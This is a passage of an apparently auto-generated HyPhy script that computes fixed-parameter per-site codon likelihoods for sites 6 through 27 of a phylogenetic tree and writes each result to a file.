site 6...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"15,16,17\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 6\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"6\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 7...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"18,19,20\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 7\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"7\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 8...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"21,22,23\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 8\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"8\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 9...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"24,25,26\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 9\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"9\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 10...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"27,28,29\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 10\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"10\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 11...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"30,31,32\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 11\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"11\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 12...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"33,34,35\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 12\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"12\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 13...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"36,37,38\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 13\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"13\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 14...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"39,40,41\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 14\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"14\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 15...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"42,43,44\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 15\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"15\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 16...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"45,46,47\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 16\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"16\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 17...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"48,49,50\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 17\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"17\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 18...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"51,52,53\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 18\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"18\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 19...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"54,55,56\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 19\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"19\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 20...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"57,58,59\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 20\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"20\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 21...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"60,61,62\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 21\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"21\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 22...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"63,64,65\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 22\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"22\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 23...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"66,67,68\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 23\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"23\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 24...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"69,70,71\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 24\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"24\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 25...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"72,73,74\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 25\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"25\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 26...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"75,76,77\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 26\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"26\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 27...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"78,79,80\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 27\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; 